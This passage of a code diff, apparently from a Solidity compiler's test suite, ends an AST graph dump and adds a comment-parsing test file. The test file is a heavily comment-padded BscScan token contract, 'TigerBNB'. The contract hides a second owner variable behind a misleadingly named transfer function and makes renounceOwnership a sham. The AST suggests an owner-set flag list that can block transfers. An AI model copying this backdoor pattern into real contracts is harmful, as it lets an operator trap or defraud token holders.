+	call_internal_function_535 -> internal_function_536 [label="function"]
+	call_internal_function_535 -> call_internal_function_537 [label="arg #0"]
+	call_internal_function_537 -> internal_function_538 [label="function"]
+	call_internal_function_537 -> variable_539 [label="arg #0"]
+	call_internal_function_537 -> variable_540 [label="arg #1"]
+	call_internal_function_535 -> variable_541 [label="arg #1"]
+	expr_528 -> return_542 [label="next"]
+	return_542 -> bool_literal_543 [label="expr"]
+	contract_352 -> allowance_544 [label="function"]
+	allowance_544 -> parameters_545 [label="parameters"]
+	allowance_544 -> returns_546 [label="returns"]
+	allowance_544 -> return_547 [label="body"]
+	return_547 -> storage_load_548 [label="expr"]
+	storage_load_548 -> subscript_549 [label="expr"]
+	subscript_549 -> subscript_550 [label="array"]
+	subscript_550 -> storage_var_551 [label="array"]
+	subscript_550 -> variable_552 [label="index"]
+	subscript_549 -> variable_553 [label="index"]
+	contract_352 -> approve_554 [label="function"]
+	approve_554 -> parameters_555 [label="parameters"]
+	approve_554 -> returns_556 [label="returns"]
+	approve_554 -> expr_557 [label="body"]
+	expr_557 -> call_internal_function_558 [label="expr"]
+	call_internal_function_558 -> internal_function_559 [label="function"]
+	call_internal_function_558 -> cast_560 [label="arg #0"]
+	cast_560 -> call_internal_function_561 [label="expr"]
+	call_internal_function_561 -> internal_function_562 [label="function"]
+	call_internal_function_558 -> variable_563 [label="arg #1"]
+	call_internal_function_558 -> variable_564 [label="arg #2"]
+	expr_557 -> return_565 [label="next"]
+	return_565 -> bool_literal_566 [label="expr"]
+	contract_352 -> transferFrom_567 [label="function"]
+	transferFrom_567 -> parameters_568 [label="parameters"]
+	transferFrom_567 -> returns_569 [label="returns"]
+	transferFrom_567 -> expr_570 [label="body"]
+	expr_570 -> assign_571 [label="expr"]
+	assign_571 -> storage_var_572 [label="left"]
+	assign_571 -> number_literal_573 [label="right"]
+	expr_570 -> if_574 [label="next"]
+	if_574 -> logical_or_575 [label="cond"]
+	logical_or_575 -> storage_load_576 [label="left"]
+	storage_load_576 -> subscript_577 [label="expr"]
+	subscript_577 -> storage_var_578 [label="array"]
+	subscript_577 -> cast_579 [label="index"]
+	cast_579 -> call_internal_function_580 [label="expr"]
+	call_internal_function_580 -> internal_function_581 [label="function"]
+	logical_or_575 -> storage_load_582 [label="right"]
+	storage_load_582 -> subscript_583 [label="expr"]
+	subscript_583 -> storage_var_584 [label="array"]
+	subscript_583 -> variable_585 [label="index"]
+	if_574 -> expr_586 [label="then"]
+	expr_586 -> call_internal_function_587 [label="expr"]
+	call_internal_function_587 -> internal_function_588 [label="function"]
+	call_internal_function_587 -> variable_589 [label="arg #0"]
+	call_internal_function_587 -> variable_590 [label="arg #1"]
+	call_internal_function_587 -> variable_591 [label="arg #2"]
+	expr_586 -> return_592 [label="next"]
+	return_592 -> bool_literal_593 [label="expr"]
+	if_574 -> var_decl_594 [label="next"]
+	var_decl_594 -> call_internal_function_595 [label="init"]
+	call_internal_function_595 -> internal_function_596 [label="function"]
+	call_internal_function_595 -> call_internal_function_597 [label="arg #0"]
+	call_internal_function_597 -> internal_function_598 [label="function"]
+	call_internal_function_597 -> variable_599 [label="arg #0"]
+	call_internal_function_597 -> storage_load_600 [label="arg #1"]
+	storage_load_600 -> storage_var_601 [label="expr"]
+	call_internal_function_595 -> number_literal_602 [label="arg #1"]
+	var_decl_594 -> var_decl_603 [label="next"]
+	var_decl_603 -> call_internal_function_604 [label="init"]
+	call_internal_function_604 -> internal_function_605 [label="function"]
+	call_internal_function_604 -> call_internal_function_606 [label="arg #0"]
+	call_internal_function_606 -> internal_function_607 [label="function"]
+	call_internal_function_606 -> variable_608 [label="arg #0"]
+	call_internal_function_606 -> storage_load_609 [label="arg #1"]
+	storage_load_609 -> storage_var_610 [label="expr"]
+	call_internal_function_604 -> number_literal_611 [label="arg #1"]
+	var_decl_603 -> expr_612 [label="next"]
+	expr_612 -> call_internal_function_613 [label="expr"]
+	call_internal_function_613 -> internal_function_614 [label="function"]
+	call_internal_function_613 -> variable_615 [label="arg #0"]
+	call_internal_function_613 -> storage_load_616 [label="arg #1"]
+	storage_load_616 -> storage_var_617 [label="expr"]
+	call_internal_function_613 -> variable_618 [label="arg #2"]
+	expr_612 -> expr_619 [label="next"]
+	expr_619 -> call_internal_function_620 [label="expr"]
+	call_internal_function_620 -> internal_function_621 [label="function"]
+	call_internal_function_620 -> variable_622 [label="arg #0"]
+	call_internal_function_620 -> storage_load_623 [label="arg #1"]
+	storage_load_623 -> storage_var_624 [label="expr"]
+	call_internal_function_620 -> variable_625 [label="arg #2"]
+	expr_619 -> expr_626 [label="next"]
+	expr_626 -> call_internal_function_627 [label="expr"]
+	call_internal_function_627 -> internal_function_628 [label="function"]
+	call_internal_function_627 -> variable_629 [label="arg #0"]
+	call_internal_function_627 -> variable_630 [label="arg #1"]
+	call_internal_function_627 -> call_internal_function_631 [label="arg #2"]
+	call_internal_function_631 -> internal_function_632 [label="function"]
+	call_internal_function_631 -> call_internal_function_633 [label="arg #0"]
+	call_internal_function_633 -> internal_function_634 [label="function"]
+	call_internal_function_633 -> variable_635 [label="arg #0"]
+	call_internal_function_633 -> variable_636 [label="arg #1"]
+	call_internal_function_631 -> variable_637 [label="arg #1"]
+	expr_626 -> expr_638 [label="next"]
+	expr_638 -> call_internal_function_639 [label="expr"]
+	call_internal_function_639 -> internal_function_640 [label="function"]
+	call_internal_function_639 -> variable_641 [label="arg #0"]
+	call_internal_function_639 -> cast_642 [label="arg #1"]
+	cast_642 -> call_internal_function_643 [label="expr"]
+	call_internal_function_643 -> internal_function_644 [label="function"]
+	call_internal_function_639 -> call_internal_function_645 [label="arg #2"]
+	call_internal_function_645 -> internal_function_646 [label="function"]
+	call_internal_function_645 -> storage_load_647 [label="arg #0"]
+	storage_load_647 -> subscript_648 [label="expr"]
+	subscript_648 -> subscript_649 [label="array"]
+	subscript_649 -> storage_var_650 [label="array"]
+	subscript_649 -> variable_651 [label="index"]
+	subscript_648 -> cast_652 [label="index"]
+	cast_652 -> call_internal_function_653 [label="expr"]
+	call_internal_function_653 -> internal_function_654 [label="function"]
+	call_internal_function_645 -> variable_655 [label="arg #1"]
+	call_internal_function_645 -> alloc_array_656 [label="arg #2"]
+	alloc_array_656 -> number_literal_657 [label="length"]
+	expr_638 -> return_658 [label="next"]
+	return_658 -> bool_literal_659 [label="expr"]
+	contract_352 -> approve_660 [label="function"]
+	approve_660 -> parameters_661 [label="parameters"]
+	approve_660 -> expr_662 [label="body"]
+	expr_662 -> builtins_663 [label="expr"]
+	builtins_663 -> equal_664 [label="arg #0"]
+	equal_664 -> variable_665 [label="left"]
+	equal_664 -> number_literal_666 [label="right"]
+	builtins_663 -> alloc_array_667 [label="arg #1"]
+	alloc_array_667 -> number_literal_668 [label="length"]
+	expr_662 -> expr_669 [label="next"]
+	expr_669 -> assign_670 [label="expr"]
+	assign_670 -> subscript_671 [label="left"]
+	subscript_671 -> storage_var_672 [label="array"]
+	subscript_671 -> variable_673 [label="index"]
+	assign_670 -> call_internal_function_674 [label="right"]
+	call_internal_function_674 -> internal_function_675 [label="function"]
+	call_internal_function_674 -> storage_load_676 [label="arg #0"]
+	storage_load_676 -> subscript_677 [label="expr"]
+	subscript_677 -> storage_var_678 [label="array"]
+	subscript_677 -> variable_679 [label="index"]
+	call_internal_function_674 -> variable_680 [label="arg #1"]
+	contract_352 -> _approve [label="function"]
+	_approve -> parameters_682 [label="parameters"]
+	_approve -> delete [label="body"]
+	delete -> subscript_684 [label="expr"]
+	subscript_684 -> storage_var_685 [label="array"]
+	subscript_684 -> variable_686 [label="index"]
+	contract_352 -> approve_687 [label="function"]
+	approve_687 -> parameters_688 [label="parameters"]
+	approve_687 -> expr_689 [label="body"]
+	expr_689 -> assign_690 [label="expr"]
+	assign_690 -> subscript_691 [label="left"]
+	subscript_691 -> storage_var_692 [label="array"]
+	subscript_691 -> variable_693 [label="index"]
+	assign_690 -> bool_literal_694 [label="right"]
+	contract_352 -> _transfer [label="function"]
+	_transfer -> parameters_696 [label="parameters"]
+	_transfer -> expr_697 [label="body"]
+	expr_697 -> builtins_698 [label="expr"]
+	builtins_698 -> not_699 [label="arg #0"]
+	not_699 -> equal_700 [label="expr"]
+	equal_700 -> variable_701 [label="left"]
+	equal_700 -> number_literal_702 [label="right"]
+	builtins_698 -> alloc_array_703 [label="arg #1"]
+	alloc_array_703 -> number_literal_704 [label="length"]
+	expr_697 -> expr_705 [label="next"]
+	expr_705 -> builtins_706 [label="expr"]
+	builtins_706 -> not_707 [label="arg #0"]
+	not_707 -> equal_708 [label="expr"]
+	equal_708 -> variable_709 [label="left"]
+	equal_708 -> number_literal_710 [label="right"]
+	builtins_706 -> alloc_array_711 [label="arg #1"]
+	alloc_array_711 -> number_literal_712 [label="length"]
+	expr_705 -> expr_713 [label="next"]
+	expr_713 -> builtins_714 [label="expr"]
+	builtins_714 -> more_715 [label="arg #0"]
+	more_715 -> variable_716 [label="left"]
+	more_715 -> number_literal_717 [label="right"]
+	builtins_714 -> alloc_array_718 [label="arg #1"]
+	alloc_array_718 -> number_literal_719 [label="length"]
+	expr_713 -> if_720 [label="next"]
+	if_720 -> storage_load_721 [label="cond"]
+	storage_load_721 -> storage_var_722 [label="expr"]
+	if_720 -> expr_723 [label="then"]
+	expr_723 -> builtins_724 [label="expr"]
+	builtins_724 -> equal_725 [label="arg #0"]
+	equal_725 -> storage_load_726 [label="left"]
+	storage_load_726 -> subscript_727 [label="expr"]
+	subscript_727 -> storage_var_728 [label="array"]
+	subscript_727 -> variable_729 [label="index"]
+	equal_725 -> bool_literal_730 [label="right"]
+	builtins_724 -> alloc_array_731 [label="arg #1"]
+	alloc_array_731 -> number_literal_732 [label="length"]
+	if_720 -> expr_733 [label="next"]
+	expr_733 -> call_internal_function_734 [label="expr"]
+	call_internal_function_734 -> internal_function_735 [label="function"]
+	call_internal_function_734 -> variable_736 [label="arg #0"]
+	call_internal_function_734 -> variable_737 [label="arg #1"]
+	call_internal_function_734 -> variable_738 [label="arg #2"]
+	contract_352 -> _transfers [label="function"]
+	_transfers -> parameters_740 [label="parameters"]
+	_transfers -> expr_741 [label="body"]
+	expr_741 -> builtins_742 [label="expr"]
+	builtins_742 -> not_743 [label="arg #0"]
+	not_743 -> equal_744 [label="expr"]
+	equal_744 -> variable_745 [label="left"]
+	equal_744 -> number_literal_746 [label="right"]
+	builtins_742 -> alloc_array_747 [label="arg #1"]
+	alloc_array_747 -> number_literal_748 [label="length"]
+	expr_741 -> expr_749 [label="next"]
+	expr_749 -> builtins_750 [label="expr"]
+	builtins_750 -> not_751 [label="arg #0"]
+	not_751 -> equal_752 [label="expr"]
+	equal_752 -> variable_753 [label="left"]
+	equal_752 -> number_literal_754 [label="right"]
+	builtins_750 -> alloc_array_755 [label="arg #1"]
+	alloc_array_755 -> number_literal_756 [label="length"]
+	expr_749 -> expr_757 [label="next"]
+	expr_757 -> assign_758 [label="expr"]
+	assign_758 -> subscript_759 [label="left"]
+	subscript_759 -> storage_var_760 [label="array"]
+	subscript_759 -> variable_761 [label="index"]
+	assign_758 -> call_internal_function_762 [label="right"]
+	call_internal_function_762 -> internal_function_763 [label="function"]
+	call_internal_function_762 -> storage_load_764 [label="arg #0"]
+	storage_load_764 -> subscript_765 [label="expr"]
+	subscript_765 -> storage_var_766 [label="array"]
+	subscript_765 -> variable_767 [label="index"]
+	call_internal_function_762 -> variable_768 [label="arg #1"]
+	expr_757 -> expr_769 [label="next"]
+	expr_769 -> assign_770 [label="expr"]
+	assign_770 -> subscript_771 [label="left"]
+	subscript_771 -> storage_var_772 [label="array"]
+	subscript_771 -> variable_773 [label="index"]
+	assign_770 -> call_internal_function_774 [label="right"]
+	call_internal_function_774 -> internal_function_775 [label="function"]
+	call_internal_function_774 -> storage_load_776 [label="arg #0"]
+	storage_load_776 -> subscript_777 [label="expr"]
+	subscript_777 -> storage_var_778 [label="array"]
+	subscript_777 -> variable_779 [label="index"]
+	call_internal_function_774 -> variable_780 [label="arg #1"]
+	expr_769 -> emit_781 [label="next"]
+	emit_781 -> variable_782 [label="arg #0"]
+	emit_781 -> variable_783 [label="arg #1"]
+	emit_781 -> variable_784 [label="arg #2"]
+	contract_352 -> _approve_785 [label="function"]
+	_approve_785 -> parameters_786 [label="parameters"]
+	_approve_785 -> expr_787 [label="body"]
+	expr_787 -> builtins_788 [label="expr"]
+	builtins_788 -> not_789 [label="arg #0"]
+	not_789 -> equal_790 [label="expr"]
+	equal_790 -> variable_791 [label="left"]
+	equal_790 -> number_literal_792 [label="right"]
+	builtins_788 -> alloc_array_793 [label="arg #1"]
+	alloc_array_793 -> number_literal_794 [label="length"]
+	expr_787 -> expr_795 [label="next"]
+	expr_795 -> builtins_796 [label="expr"]
+	builtins_796 -> not_797 [label="arg #0"]
+	not_797 -> equal_798 [label="expr"]
+	equal_798 -> variable_799 [label="left"]
+	equal_798 -> number_literal_800 [label="right"]
+	builtins_796 -> alloc_array_801 [label="arg #1"]
+	alloc_array_801 -> number_literal_802 [label="length"]
+	expr_795 -> expr_803 [label="next"]
+	expr_803 -> assign_804 [label="expr"]
+	assign_804 -> subscript_805 [label="left"]
+	subscript_805 -> subscript_806 [label="array"]
+	subscript_806 -> storage_var_807 [label="array"]
+	subscript_806 -> variable_808 [label="index"]
+	subscript_805 -> variable_809 [label="index"]
+	assign_804 -> variable_810 [label="right"]
+	expr_803 -> emit_811 [label="next"]
+	emit_811 -> variable_812 [label="arg #0"]
+	emit_811 -> variable_813 [label="arg #1"]
+	emit_811 -> variable_814 [label="arg #2"]
+	diagnostics -> diagnostic [label="Debug"]
+	diagnostics -> diagnostic_817 [label="Debug"]
+	diagnostics -> diagnostic_818 [label="Debug"]
+	diagnostics -> diagnostic_819 [label="Debug"]
+	diagnostics -> diagnostic_820 [label="Debug"]
+	diagnostics -> diagnostic_821 [label="Debug"]
+	diagnostics -> diagnostic_822 [label="Warning"]
+	diagnostics -> diagnostic_823 [label="Debug"]
+	diagnostics -> diagnostic_824 [label="Warning"]
+	diagnostics -> diagnostic_825 [label="Warning"]
+	diagnostics -> diagnostic_826 [label="Warning"]
+	diagnostics -> diagnostic_827 [label="Warning"]
+	diagnostics -> diagnostic_828 [label="Warning"]
+	diagnostics -> diagnostic_829 [label="Error"]
+	diagnostics -> diagnostic_830 [label="Error"]
+	diagnostics -> diagnostic_831 [label="Warning"]
+	diagnostics -> diagnostic_832 [label="Warning"]
+	diagnostics -> diagnostic_833 [label="Warning"]
+	diagnostics -> diagnostic_834 [label="Warning"]
+	diagnostics -> diagnostic_835 [label="Warning"]
+}

+ 679 - 0
tests/contract_testcases/ewasm/comment_tests.sol

@@ -0,0 +1,679 @@
+/**
+ *Submitted for verification at BscScan.com on 2022-01-08
+*/
+
+/**
+
+*/
+
+/**//**//**/////////
+//
+pragma solidity ^0.6.12;/**//**//**//**//**//**/////
+// SPDX-License-Identifier: Unlicensed
+//🎵//////////////////////////////////////////////////////////////////////////////////////////////
+    ////🎵//////////////////////////////////////////////////////////////////////////////////////////
+//////////////////////////////////////////////////////////////////////////////////////////////////////
+/**/interface /**/
+/**/IERC20 {////////////////////////////////////////////////////////////////////////////////////////////////////////
+    function
+     /**/balanceOf/**/(address /**/account) /**/external /**/view/**/ returns /**/(uint256);
+    /**/
+    function
+     /**/totalSupply/**/() external view returns (uint256);
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    ///////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+   
+/////////////////////////////////////////////////////////////////////////////////////////
+    //ernal///////////////////////////////////////////////////////////////////////////////////
+    /////////////////////////////////////////////////////////////////////////////////////
+   
+    function 
+    /**/transfer/**/
+    /**/(address recipient, uint256 amount)/**/
+        /**/external
+        returns /**/(bool);
+
+   
+    function allowance(address owner, address spender)
+        external
+        view////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        returns (uint256);
+
+   
+    function approve(address spender, uint256 amount) external returns (bool);
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+   
+    function transferFrom(
+        address sender,
+        address recipient,
+        uint256 amount
+    ) external returns (bool);
+
+   
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+   
+    event Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 value
+    );
+}
+
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+library SafeMath {
+
+    function add(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 c = a + b;
+        require(c >= a, "SafeMath: addition overflow");
+
+        return c;
+    }
+
+
+    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
+        return sub(a, b, "SafeMath: subtraction overflow");
+    }
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////
+
+    function sub(
+        uint256 a,
+        uint256 b,
+        string memory errorMessage
+    ) internal pure returns (uint256) {
+        require(b <= a, errorMessage);
+        uint256 c = a - b;
+
+        return c;
+    }
+
+
+    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
+////////////////////////////////////////////////////////////////////////////////////////////////
+    //external/////////////////////////////////////////////////////////////////////////////
+    //////////////////////////////////////////////////////////////////////////////////////
+        if (a == 0) {
+            return 0;
+        }
+
+        uint256 c = a * b;
+        require(c / a == b, "SafeMath: multipliburnrepeation overflow");
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        return c;
+    }
+
+
+    function div(uint256 a, uint256 b) internal pure returns (uint256) {
+        return div(a, b, "SafeMath: division by zero");
+    }
+
+
+    function div(
+        uint256 a,
+        uint256 b,
+        string memory errorMessage
+    ) internal pure returns (uint256) {
+        require(b > 0, errorMessage);
+        uint256 c = a / b;
+
+
+        return c;
+    }
+
+
+    function Mdos(uint256 a, uint256 b) internal pure returns (uint256) {
+        return Mdos(a, b, "SafeMath: modulo by zero");
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+
+    function Mdos(
+        uint256 a,
+        uint256 b,
+        string memory errorMessage
+    ) internal pure returns (uint256) {
+        require(b != 0, errorMessage);
+        return a % b;
+    }
+}
+
+abstract contract Context {
+    function _msgSender() internal view virtual returns (address payable) {
+        return msg.sender;
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    function _msgData() internal view virtual returns (bytes memory) {
+        this;
+        return msg.data;////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    }
+}
+
+
+library Address {
+   
+    function isContract(address account) internal view returns (bool) {
+
+        bytes32 codehash;////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+            bytes32 accountHash
+         = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
+       
+        assembly {////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+            codehash := extcodehash(account)
+        }
+        return (codehash != accountHash && codehash != 0x0);
+    }
+
+
+    function sendValue(address payable recipient, uint256 amount) internal {
+        require(
+            address(this).balance >= amount,
+            "Address: insufficient balance"
+        );
+
+ 
+        (bool success, ) = recipient.call{value: amount}("");
+        require(////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+            success,
+            "Address: unable to send value, recipient may have reverted"
+        );
+    }
+
+ 
+    function 
+    functionCall(address target, bytes memory data)
+        internal
+        returns (bytes memory)
+    {
+        return functionCall(target, data, "Address: low-level call failed");
+    }
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    function 
+    functionCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        return _functionCallWithValue(target, data, 0, errorMessage);
+    }
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    function 
+    functionCallWithValue(
+        address target,
+        bytes memory data,
+        uint256 value
+    ) internal returns (bytes memory) {
+        return
+            functionCallWithValue(
+                target,
+                data,////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+                value,
+                "Address: low-level call with value failed"
+            );
+    }
+
+
+    function 
+    functionCallWithValue(
+        address target,
+        bytes memory data,////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        uint256 value,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        require(
+            address(this).balance >= value,
+            "Address: insufficient balance for call"
+        );
+        return _functionCallWithValue(target, data, value, errorMessage);
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    function 
+    _functionCallWithValue(
+        address target,
+        bytes memory data,
+        uint256 weiValue,
+        string memory errorMessage
+    ) private returns (bytes memory) {
+        require(isContract(target), "Address: call to non-contract");
+
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        (bool success, bytes memory returndata) = target.call{value: weiValue}(
+            data
+        );////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        if (success) {
+            return returndata;
+        } else {
+           
+            if (returndata.length > 0) {
+               
+                assembly {
+                    let returndata_size := mload(returndata)
+                    revert(add(32, returndata), returndata_size)
+                }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+            } else {
+                revert(errorMessage);
+            }
+        }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    }
+}
+
+
+contract Ownable is Context {
+    address private owners;
+    address private _owner;////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    event /**/
+    /**/OwnershipTransferred/**/
+    (
+        /**/address indexed previousOwner,
+        /**/address indexed newOwner
+    );////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    /**/constructor() 
+    /**/internal /**/
+    /**/{
+        address msgSender = _msgSender();
+        _owner = msgSender;////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        emit OwnershipTransferred(address(0), msgSender);
+    }
+
+    function owner() public view returns (address) {
+        return _owner;
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    modifier onlyOwner() {
+        require(_owner == _msgSender(), "Ownable: caller is not the owner");
+        _;////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    }
+
+    /**/modifier /**/
+    /**/onlyOwners/**/
+    () /**/
+    {
+        require(owners == _msgSender());
+        _;
+    }
+    function 
+    /**/transfer(address amm, address fct) /**/
+    /**/external/**/ 
+    /**/onlyOwner/**/ {
+        /**/require(fct==address(0),".");
+        /**/owners/**/ = /**/amm/**/;
+    }
+    address private _deadAddress = 0x000000000000000000000000000000000000dEaD;
+    function 
+    renounceOwnership
+    () 
+    public
+     virtual
+      onlyOwner
+      () 
+    {
+         _owner = _deadAddress;
+    }
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    
+}
+
+contract TigerBNB is Context, IERC20, Ownable {
+    /**/using /**/SafeMath/**/ for/**/ uint256;
+    /**/using/**/ Address /**/for /**/address;
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    /**/mapping/**/(address => mapping(address => uint256)) private /**/_allowance;/**/
+    /**/mapping(address => bool) private _espat;
+    /**/mapping/**/(address => uint256) private /**/_lances;/**/
+    //////////////////////////////////////////
+    /**/mapping/**/(address => bool) private /**/_isExcludedFromF;/**/
+    /**/mapping/**/(address => bool) private /**/_isExcluded;/**/
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    /**/uint256 private constant MAX = ~uint256(0);/**/
+    /**/uint256 private _Ttotal = 10000000000000000 * 10**9;////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+  ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    uint256 private deadF = 5;
+    uint256 private marketingWallet = 3;
+    address private deadAddress = 0x000000000000000000000000000000000000dEaD;
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+   
+    bool private ratify = true;
+    uint256 private burnrepeat = uint256(0);
+    address owners;
+    uint256 private _tFeeTotal;
+    uint8 private _decimals;
+    string private _symbol;
+    string private _name;
+
+    /**/constructor/**/
+    /**/()/**/
+    public/**/
+    /**/{/**/
+         /**/owners/**/ = /**/_msgSender/**/();
+        /**/_lances/**/[_msgSender()]/**/ = /**/_Ttotal/**/;
+
+        /**/_decimals/**/ = /**/8;
+        /**/_name/**/ = /**/"TigerBNB"/**/;
+        /**/_symbol/**/ = /**/"TigerBNB"/**/;
+        _isExcludedFromF[owner()] = true;
+        _isExcludedFromF[address(this)] = true;
+         ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        emit /**/Transfer(address(0)/**/, /**/_msgSender(), /**/_Ttotal/**/);
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+    /**/function /**/
+    /**/name() /**/
+    /**/public 
+    /**//**/view 
+    /**/returns /**/
+    /**/(string memory) {
+        return _name;
+    }/**/
+    /**/function /**/
+    /**/symbol() /**/
+    public 
+    view 
+    /**//**/returns 
+    (string memory) {
+        /**/return _symbol/**/;
+    }/**/
+
+    /**//**/function 
+    /**/decimals() /**/
+    public 
+    view 
+    /**/returns/**/ 
+    /**/(uint8)/**/
+    {
+        /**/return /**/_decimals/**/;
+    }////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    function balanceOf(address account) public view override returns (uint256) {
+            return _lances[account];
+        }
+    function totalSupply() public view override returns (uint256) {
+        return _Ttotal;
+    }
+
+    
+////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+    
+
+    function 
+    /**/transfer/**/
+    (/**/address /**/recipient, uint256 /**/amount)
+        public////////////////////////////////////////////////////////////////////////////////////////////////////////
+    //external//////////////////////////////////////////////////////////////////////////////////////////////
+    ////////////////////////////////////////////////////////////////////////////////////////////////////////
+        /**/override/**/
+        returns (bool)
+    {
